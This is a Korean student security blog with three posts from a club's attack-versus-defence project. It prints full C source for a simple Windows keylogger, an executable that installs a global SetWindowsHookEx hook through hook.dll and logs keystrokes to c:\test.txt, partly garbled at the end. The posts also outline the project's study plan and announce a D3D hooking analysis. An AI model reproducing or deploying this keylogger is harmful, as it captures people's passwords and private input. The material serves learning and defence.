프로젝트/창과 방패2012. 1. 22. 00:24


저는 처음부터 방어쪽을 만들고 싶었기에 다른 팀원이 키로거를 제작하기를 기다렸습니다.

드디어 프로젝트 팀원 중 김성현군이 첫번째 키로거를 만들어서 업로드 했습니다.

분석 결과 SetWindowsHookEx 함수를 사용하여 전역 훅을 설치, 키로거를 제작 하였습니다.

소스는 방패쪽에서 분석과 방어 프로그램을 제작하면 업로드 하는 식으로 진행 됩니다.

단, 분석 및 연구 목적으로만 사용하시기 바랍니다. 이것을 불법으로 사용하여 일어나는 책임은 사용자에게 있습니다.

아래 소스코드와 초간단 키로거 실습 프로그램은 FLAG 동아리 김성현군이 제공해주었습니다.



원래는 방패프로그램 제작 이후에 소스 공개하는게 원칙이지만 이번만은 사정이 있어서 

방패측에서 분석만 끝내고 창 프로그램의 소스를 공개했습니다.

proja.exe 소스코드
#include <windows.h>
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
HINSTANCE g_hInst;
LPCTSTR lpszClass = TEXT("Hacked by gh0st");
//hInstance 프로그램의 인스턴스핸들
//nCmdShow 프로그램이 실행될 형태이며 최소화,보통 모양 등이 전달
// APIENTRY 는 윈도우즈의 표준 호출규약인 __stdcall 사용
//아래의 Winmain 함수는 일반 C언어에서의 main과 같은 역할을 한다. 즉, 프로그램이 가장 
// 먼저 실행되는 함수이다.
// Winmain 함수의 인자가 복잡한데
//간단히 설명해서 hInstance는 프로그램 자체의 포인터이고, hPrevInstance는 해당 프로그램이 
//동시에 몇개가 실행되었는지 파악할 때 사용하는 변수
//lpszCmdParam은 argv와 같이 프로그램의 인자를 의미하고, 마지막으로 nCmdShow는 실행되는 
//프로그램의 모양을 나타낸다.

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdParam, int nCmdShow)
{
 HWND hWnd; //hWnd 윈도우 핸들

 MSG Message; // 윈도우에서 발생하는 메시지들을 저장할 변수
 WNDCLASS WndClass; // 화면에 생성할 윈도우 클래스 선언
 g_hInst=hInstance;
 WndClass.cbClsExtra=0;
 WndClass.cbWndExtra=0;
 WndClass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH); // 메인 윈도우 배경색 지정
 WndClass.hCursor=LoadCursor(NULL,IDC_ARROW); // 윈도우 안에서의 마우스 커서모양 IDC_ARROW 기본 모양인 화살표
 WndClass.hIcon=LoadIcon(NULL,IDI_APPLICATION); //메인 윈도우 아이콘
 WndClass.hInstance=hInstance; // 프로그램의 인스턴스
 WndClass.lpfnWndProc=WndProc; // 이 윈도우에서 발생하는 메시지들을 처리할 함수를 지정
 WndClass.lpszClassName=lpszClass; // 이 윈도우의 클래스 이름
 WndClass.lpszMenuName=NULL; // 윈도우에 붙일 메뉴 지정
 WndClass.style=CS_HREDRAW | CS_VREDRAW;
 RegisterClass(&WndClass);
 hWnd=CreateWindow(lpszClass,lpszClass,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT, NULL,(HMENU)NULL,hInstance,NULL);
//첫번째 인자는 윈도우를 생성할 때 사용할 클래스명, 두번째 인자는 창의 타이틀바에 들어갈 문자열, 세번째 인자는
// 윈도우의 형태(여기선 기본)
//네,다섯번째는 윈도우를 출력할 X,Y 좌표, 그다음 2개는 창의 좌 우 길이, 나머지 4개는 아래와 같
// NULL: the parent of this window
// NULL: this application does not have a menu bar
// hInstance: the first parameter from WinMain
// NULL: not used in this application
 

 ShowWindow(hWnd,nCmdShow); // 위에서 생성한 window를 화면에 출력

 while(GetMessage(&Message,NULL,0,0))
 {
  TranslateMessage(&Message); // 메시지 번역
  DispatchMessage(&Message); // 메시지 처리
 }
 return (int)Message.wParam;
}
// 위 while문은 윈도우 메시지 큐에서 가장 상위에 있는 메시지를 하나 뽑아와서 message 변수에 저장한 후,
// 그것을 번역한 다음 처리하는
// 과정을 담고 있다. 마지막 단계인 처리는 메시지를 메시지처리함수로 전달하는 역할을 한다.
 
LRESULT CALLBACK WndProc(HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM IParam)
{
 static HINSTANCE hinstDll; // LoadLibrary 반환값 저장 변수
 HOOKPROC hGetMsgProc; // GetProcAddress 반환값 저장 변수
 static HHOOK hKeyHook; //SetWindowsHookEx 반환값 저장변수
 switch(iMessage){
//발생한 메시지가 WM_CREATE 일 경우, 즉 윈도우창이 생성되었을 경우 
 case WM_CREATE:
//LoadLibrary 함수는 인자로준 dll을 현재 프로세스의 주소공간으로 mapping 시켜서 사용할 수 있도록 해주는 API 
//이다.

  hinstDll = LoadLibrary("hook.dll"); // hook.dll load
  if(!hinstDll){
   MessageBox(hWnd, "hooker.dll을 로드할 수 없습니다.", "오류", MB_OK);
   ExitProcess(1);
  }
// GetProcAddress를 이용하여 DLL에서 export한 함수를 가져온다. 즉 hook.dll에서 GetMsgProc 함수를 호출 
hGetMsgProc = (HOOKPROC)GetProcAddress(hinstDll, "GetMsgProc");
  if(!hGetMsgProc){
   MessageBox(hWnd, "GetMsgProc 함수를 찾을 수 없습니다.", "오류", MB_OK);
   FreeLibrary(hinstDll);
   ExitProcess(1);
  }
// SetWindowsHookEx 함수는 자신의 훅 프로시저를 타 어플리케이션으의 훅 체인에 설치한다. 쉽게 말하면 타겟
// 프로그램의 윈도우 메시지 처리 프로시저
// 를 본인이 만든 윈도우 메시지 처리 프로시저로 변경 하는 것을 말한다. 메시지 프로시져 외에 여러가지 
//시스템 콜을 후킹할 수 있다.
// http://ontow.blog.me/140131028775 에서 인자값 확인
  hKeyHook = SetWindowsHookEx(WH_GETMESSAGE, hGetMsgProc, hinstDll, 0);
  if(!hKeyHook){
   MessageBox(hWnd, "Hooking을 성공하지 못했습니다.", "오류", MB_OK);
   FreeLibrary(hinstDll);
   ExitProcess(1);
  }
  return 0;         
 case WM_DESTROY:
  PostQuitMessage(0);
  return 0;
 }
 //DefWindowProc 함수는 WndProc에서 처리하지 않은 나머지 메시지에 관한 처리
 return(DefWindowProc(hWnd,iMessage,wParam,IParam));
}
// 위 메시지를 처리하는 함수는 CALLBACK 타입으로 지정된다. CALLBACK 이라는 것은 이 함수가 사용자에
// 의해 호출되는 것이 아닌, 프로그램에
의해 호출되는 것을 의미한다. 즉 DispatchMessage() 함수에 의해
// 호출된다. 인자들을 살펴보면 hWnd는 이메시지가 발생한 윈도우가 어떤것 
이었는지 말해주고, iMessage는
// 실제 발생한 메시지를 나타내며, 마지막 wParam과 IParam은 해당 메시지의 추가 옵션으로 이해하면된다.
// 윈도우 메시지의 종류로 http://cafe.naver.com/pplus.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=167&
// 
여기서 확인
 
 
 
hook.dll 소스코드
// GetMsgProc 함수의 원형을 자세히보면 앞서 WndProc 라고 선언했던 CALLBACK 함수와 거의 비슷하다.
// 메시지가 발생했을때
// CALLBACK 함수로 전달된 인자들의 정보가 가공되어 이 GetMsgProc 함수로 전달된다.
// SetWindowsHookEx 함수에 의해 윈도우 내에서 발생하는 모든 메시지가 위 함수를 한번 거친후 자신의
// 본래 작업을 실행하게 된다.
// 즉 메시지발생->GetMsgProc처리->WndProc처리
 
 
#include <windows.h>

__declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT nCode, WPARAM wp, LPARAM lp)
{
// message에서 발생한 메시지를 얻는다 그리고 그 메시지가 WM_KEYDOWN 라면 if문 실행
	if(((MSG*)lp)->message == (long)WM_KEYDOWN)	
	{			 
		HANDLE hFile; // 핸들변수
		DWORD dwWrite; // http://irontooth.tistory.com/117 확인
       	hFile = CreateFile("c:\\test.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
			FILE_ATTRIBUTE_NORMAL, NULL); 
// http://blog.naver.com/zerolive_?Redirect=Log&logNo=10005814846 확인 SetFilePointer(hFile, 0, 0, FILE_END);
//http://irontooth.tistory.com/98 확인 WriteFile(hFile, &((MSG*)lp)->wParam, 1, &dwWrite, NULL);
//http://irontooth.tistory.com/117 확인 CloseHandle(hFile); } return TRUE; }

 

성현이-초간단키로거.zip

 


성현이-초간단키로거.zip

'프로젝트 > 창과 방패' 카테고리의 다른 글

김성현군이 만든 초간단키로거 분석  (0) 2012.01.22
창과 방패 프로젝트란..  (0) 2012.01.21
Posted by NullBr4in
프로젝트/창과 방패2012. 1. 21. 04:07


프로젝트 팀원끼리 아무나 샘플 프로그램에 대해 공격을 하면 다른 사람은 또 방어 하는 동아리에서 하고 있는
프로젝트입니다.

현재 진행 중인 주제는 "키로거" 입니다.

팀원 내 한 명이 간단한 키로거를 처음으로 올려두었고, 이전에 해당 키로거를 분석을 끝내고 

이제 방어하는 프로그램을 만들어 보려고 합니다. 



사실은 이 프로젝트는 친구 혼자 후킹에 대해 공부하면서 키로거를 제작해보려는 개인 프로젝트 였습니다.

근데 제가 2011년 후반기에 있던 안랩 세미나에 갔을때, 쉬는시간에 실무자분들께 질문 할 수 있는 시간이 있어서 

공부 방향에 대해 지금 하고 있는것이 맞는지에 대해 물어 보았습니다.

지금 공부 방법에 대해 말했다가 엄청 혼났구요,,, 혼난 이유는,, 어떻게 보면 당연한거였습니다. 

뚫는 법을 알아야 막는법을 안다라는 말에서 제가 편한 부분만 취한거죠..

 생각하면서 4년 동안 공격에 대한 공부만 해왔습니다....

실무자분께서는 보안 공부하는데 꼭 공격을 할 필요가 있냐.. 현재 존재하는 악성프로그램들에 대해 방어 프로그램을

만들어보면 더 좋다고 하셨습니다.. 그리고 리버싱 기술에 대해서도.. 남이 만든 프로그램 크랙하기 보다는 

자기가 여러가지 언어로 만든 프로그램을 직접 리버싱 해보는게 도움이 된다고 하셨고요..

그래서 제 친구가 후킹에 대해 공부한다고 할 때 그럼 이걸 공동 프로젝트로 진행해서 방어도 같이 해보자는 의견을

내서 이 프로젝트가 시작되었습니다... 






아래는 프로젝트 계획서 입니다. 재밌어 보이나요?? 게시판 이야기는 동아리 홈페이지에 있는 게시판입니다~


----------------------------------------------------------------------------------------------------- 
본 게시판은 현 회장 안준과 2기 전성의 자체적 공동 연구주제인 키보드 해킹과 방어에 대한 연구 목적으로 개설되었습니다.

공통 연구 주제
0. WinApi Hooking
1. Dll Injection
2. Programming
3, 아래 열거 사항에 대한 공격과 방어
 
연구 주요 내용
0. 공격자는 지속적인 키로거를 제작하여 정해진 입력폼 프로그램이 활성화 됐을 때 방어자의 방어 프로그램을 무력화 시킨다.
1. 방어자는 정해진 입력폼 프로그램이  활성화 됐을 때 키로거를 탐지하고 키로그 기능을 원천적으로 방어해 낸다.
2. 공격자는 최신 트렌드의 입력폼 삽입공격에 대한 공격을 무차별 적으로 사용할 수 있다.
3. 방어자는 리소스에 대한 제약을 받지 않고 공격을 막을 수 있다.
 
연구 목적
0. 최종적으로 공격자와 방어자는 방어법을 익히는데 목적을 둔다.
1. 공격자와 방어자는 서로의 지식을 공유하고 공격과 방어법을 공유하여 서로의 지식을 공유하여 빠른 학습을 도운다.
 
연구 증명
0. 주기적으로 공격자와 방어자는 본 게시판에 진행 내역을 올린다.
1. 공격자 방어자는 서로의 프로그램이 뚫리면 이를 보고하고 대안된 프로그램으로 업데이트한다.

 
 
Posted by NullBr4in
프로젝트/D3D Hooking2012. 1. 20. 05:03


분석한지는 좀 됬지만..
문서 작업하는게 오래걸려서 이제서야 업로드 합니다.

해당 문서에는 D3D Hooking 소스를 분석한 자료가 들어 있습니다.
Hooking 하면서 사용된 Detours Hooking 기술과 vTable에 대한 내용도 같이 들어가 있습니다.

본 문서의 목적은.. 문서에서 가장 맨 앞에 써놔서 그걸 그대로 여기다 씁니다..
-----------------------------------------------------------------------------------
보안 분야를 공부하고 연구하는 입장에서 해당 D3D Hooking 에 대해 방어할 방법을 찾기 위해
D3D Hooking 소스를 분석해 보았으며 본 문서에선 d3d 관련 파일들을 분석하며 알아낸 내용들
을 다른 분들과 정보공유를 통해 좀 더 깊은 내용을 배우고 방어 방법에 대해 같이 생각해보기
위해 부족한 실력에도 불구하고 이렇게 문서를 작성하게 되었습니다. 끝으로 D3D Hooking을
연구 하면서 얻은 기술이나 지식을 공유하고자 최대한 노력하여 본 문서를 작성하였습니다.
------------------------------------------------------------------------------------- 
말그대로 방어하기 위해 소스를 분석했습니다.  





제 인생에서 첫 블로그, 첫 게시글, 그리고 첫 문서네요 

앞으로 잘 부탁드립니다.

D3D Hooking 분석 문서에 대해서 궁금하신거나 잘못된거, 그리고 조언해주실분은 환영합니다!

같이 연구하실분은 더욱 더 환영하고요!  

 

'프로젝트 > D3D Hooking' 카테고리의 다른 글

Hooking의 종류  (0) 2012.01.22
Posted by NullBr4in